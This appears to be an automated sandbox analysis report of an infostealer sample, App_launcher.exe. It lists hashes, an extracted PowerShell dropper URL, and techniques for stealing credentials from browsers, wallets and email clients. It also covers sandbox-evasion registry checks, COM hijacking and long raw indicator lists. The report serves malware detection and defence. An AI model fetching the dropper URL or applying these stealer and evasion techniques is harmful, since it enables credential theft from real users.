1ffb69343b0eb7796665a028c5c91cc3e0285183988abbaa6e07c5fab787648a

Analysis

geolocation tags

eueuropelondonukunited-kingdom
user interaction
yes
max time kernel
899s
max time network
885s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
23/04/2026, 02:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
App_launcher.exe
Size 100KB
Sample260423-c2vreagy8y
SHA256 1ffb69343b0eb7796665a028c5c91cc3e0285183988abbaa6e07c5fab787648a
MD5 63dffbbbfbfb1f344eaa411ee8fa7bec
SHA1 e1d0acf14452868691dcca09c210e24333fc89f3
SHA512 b2d7837ef8a1945a649a86b4a41f199f9a55ae06374e1d2110146a6cb53549f250d3e682c5fcdde0e4bf52baae61f2ff89531d3688d6e8bbc471b721bc2635d1
SSDEEP 1536:4LT11uyRFNsa9N/urOKwjAEHxPNgE71x48suYjsW4dTRR6Q797L:MTzuyRFNN9N/wwjtHxvWuYsTRUQRP
TLSH
T1F2A36C9767E038F9E4638B34ECE14915E772F96606B18B8E1394416A5F233C19E3CB36
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://tinyurl.com/clip43475431

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
178	4108	powershell.exe
180	4108	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4108	powershell.exe
224	powershell.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
100	href.li
102	href.li

Downloads MZ/PE file 1 IoCs

flow	pid	Process
169	3880	chrome.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\Control Panel\International\Geo\Nation	winrar-x64-720.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\Control Panel\International\Geo\Nation	App_launcher.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

UPX packed file 9 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000700000002423d-556.dat	upx
behavioral1/memory/3060-557-0x00007FFBB6130000-0x00007FFBB6682000-memory.dmp	upx
behavioral1/memory/3060-577-0x00007FFBB6130000-0x00007FFBB6682000-memory.dmp	upx
behavioral1/memory/3752-578-0x00007FFBB3540000-0x00007FFBB3A92000-memory.dmp	upx
behavioral1/memory/3752-602-0x00007FFBB3540000-0x00007FFBB3A92000-memory.dmp	upx
behavioral1/memory/3752-603-0x00007FFBB3540000-0x00007FFBB3A92000-memory.dmp	upx
behavioral1/memory/3752-839-0x00007FFBB3540000-0x00007FFBB3A92000-memory.dmp	upx
behavioral1/memory/3752-848-0x00007FFBB3540000-0x00007FFBB3A92000-memory.dmp	upx
behavioral1/memory/3752-853-0x00007FFBB3540000-0x00007FFBB3A92000-memory.dmp	upx

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Program Files directory 60 IoCs

description	ioc	Process
File created	C:\Program Files\WinRAR\Uninstall.exe	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\Rar.txt	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\WhatsNew.txt	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\RarExt32.dll	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\Rar.exe	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\RarExtPackage.msix	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\WhatsNew.txt	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\RarExtPackage.msix	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\RarExtLogo.altform-unplated_targetsize-64.png	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\ReadMe.txt	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\WinCon32.SFX	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\RarExtLogo.altform-unplated_targetsize-64.png	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\Resources.pri	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\Default32.SFX	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\__tmp_rar_sfx_access_check_240852453	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\Uninstall.lst	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\Rar.txt	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\Default32.SFX	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\Zip.SFX	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\ReadMe.txt	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\License.txt	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\WinRAR.exe	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\RarExt.dll	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\WinRAR.chm	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\Zip.SFX	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\UnRAR.exe	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\Order.htm	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\RarFiles.lst	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\RarFiles.lst	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\WinRAR.exe	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\rarnew.dat	uninstall.exe
File opened for modification	C:\Program Files\WinRAR\Order.htm	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\Default.SFX	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\WinCon.SFX	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\WinCon32.SFX	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\zipnew.dat	uninstall.exe
File created	C:\Program Files\WinRAR\Uninstall.lst	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\Zip32.SFX	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\RarExtLogo.altform-unplated_targetsize-48.png	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\WinRAR.chm	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\UnRAR.exe	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\License.txt	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\Rar.exe	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\RarExtInstaller.exe	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\RarExtLogo.altform-unplated_targetsize-48.png	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\Descript.ion	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\7zxa.dll	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\RarExt32.dll	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\Default.SFX	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\Descript.ion	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\Resources.pri	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\WinCon.SFX	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\RarExtLogo.altform-unplated_targetsize-32.png	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\RarExtInstaller.exe	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\Uninstall.exe	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\7zxa.dll	winrar-x64-720.exe
File opened for modification	C:\Program Files\WinRAR\RarExt.dll	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\Zip32.SFX	winrar-x64-720.exe
File created	C:\Program Files\WinRAR\RarExtLogo.altform-unplated_targetsize-32.png	winrar-x64-720.exe

Executes dropped EXE 6 IoCs

pid	Process
520	winrar-x64-720.exe
1748	uninstall.exe
5088	WinRAR.exe
2132	WinRAR.exe
3060	App_launcher.exe
3752	App_launcher.exe

Loads dropped DLL 2 IoCs

pid	Process
3060	App_launcher.exe
3752	App_launcher.exe

Modifies system executable filetype association 2 TTPs 8 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1546.001

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA}\	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\WinRAR32	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\WinRAR32\ = "{B41DB860-8EE4-11D2-9906-E49FADC173CA}"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-64E4-11D2-9906-E49FADC173CA}	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-64E4-11D2-9906-E49FADC173CA}\	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\WinRAR	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\WinRAR\ = "{B41DB860-64E4-11D2-9906-E49FADC173CA}"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA}	uninstall.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3880	chrome.exe
4424	chrome.exe

Checks SCSI registry key(s) 3 TTPs 12 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	App_launcher.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	App_launcher.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	App_launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	App_launcher.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	App_launcher.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	App_launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	App_launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	App_launcher.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	App_launcher.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	App_launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	App_launcher.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	App_launcher.exe

Checks processor information in registry 2 TTPs 7 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	App_launcher.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	App_launcher.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	App_launcher.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	App_launcher.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	App_launcher.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134213854205596800"	chrome.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.gz\ = "WinRAR"	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.uu\ = "WinRAR"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B41DB860-64E4-11D2-9906-E49FADC173CA}\InProcServer32	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.lzh\ = "WinRAR"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.7z	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.tgz\ = "WinRAR"	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.REV\ = "RAR recovery volume"	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA}\	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.tbz	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\ = "WinRAR archive"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shell	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shellex\PropertySheetHandlers\{B41DB860-64E4-11D2-9906-E49FADC173CA}\	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\WinRAR\ = "{B41DB860-64E4-11D2-9906-E49FADC173CA}"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.tzst	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shellex	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shellex\ContextMenuHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA}	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.rar\ShellNew	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.zip\ = "WinRAR.ZIP"	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shell\open\command\ = "\"C:\\Program Files\\WinRAR\\WinRAR.exe\" \"%1\""	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.rev\ = "WinRAR.REV"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.REV	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\DragDropHandlers\WinRAR32	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.rar	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cab\ = "WinRAR"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.uue	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\shellex\ContextMenuHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA}\	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\WinRAR32\ = "{B41DB860-8EE4-11D2-9906-E49FADC173CA}"	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.xz\ = "WinRAR"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shell\open\command	uninstall.exe
Key created	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	WinRAR.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shellex\DropHandler	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\WinRAR	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.arj	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.lzh	uninstall.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\DisplayName = "Chrome Sandbox"	chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\DragDropHandlers\WinRAR\ = "{B41DB860-64E4-11D2-9906-E49FADC173CA}"	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bz2\ = "WinRAR"	uninstall.exe
Key created	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Children	chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shellex\DragDropHandlers\WinRAR32\ = "{B41DB860-8EE4-11D2-9906-E49FADC173CA}"	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B41DB860-64E4-11D2-9906-E49FADC173CA}\InProcServer32\ = "C:\\Program Files\\WinRAR\\rarext.dll"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.lz	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.lha	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.taz\ = "WinRAR"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.txz	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	WinRAR.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shellex\ContextMenuHandlers\WinRAR32\ = "{B41DB860-8EE4-11D2-9906-E49FADC173CA}"	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\shellex\PropertySheetHandlers\{B41DB860-64E4-11D2-9906-E49FADC173CA}\	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\DragDropHandlers\WinRAR	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bz	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bz\ = "WinRAR"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.xz	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.REV\shell	uninstall.exe
Key created	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428	chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\shellex\PropertySheetHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA}\	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\shellex\ContextMenuHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA}	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\WinRAR32	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shellex\ContextMenuHandlers\WinRAR	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.zip\ShellNew\FileName = "C:\\Program Files\\WinRAR\\zipnew.dat"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.tlz	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.lha\ = "WinRAR"	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.tbz\ = "WinRAR"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\shellex\PropertySheetHandlers	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shellex\DropHandler\ = "{B41DB860-64E4-11D2-9906-E49FADC173CA}"	uninstall.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2908	chrome.exe
2908	chrome.exe
3060	App_launcher.exe
3060	App_launcher.exe
3060	App_launcher.exe
3060	App_launcher.exe
3060	App_launcher.exe
3060	App_launcher.exe
3060	App_launcher.exe
3060	App_launcher.exe
3060	App_launcher.exe
3060	App_launcher.exe
3060	App_launcher.exe
3060	App_launcher.exe
3060	App_launcher.exe
3060	App_launcher.exe
3060	App_launcher.exe
3060	App_launcher.exe
3060	App_launcher.exe
3060	App_launcher.exe
3060	App_launcher.exe
3060	App_launcher.exe
3060	App_launcher.exe
3060	App_launcher.exe
3060	App_launcher.exe
3060	App_launcher.exe
3060	App_launcher.exe
3060	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2132	WinRAR.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 12 IoCs

pid	Process
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeCreatePagefilePrivilege	2668	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2668	chrome.exe
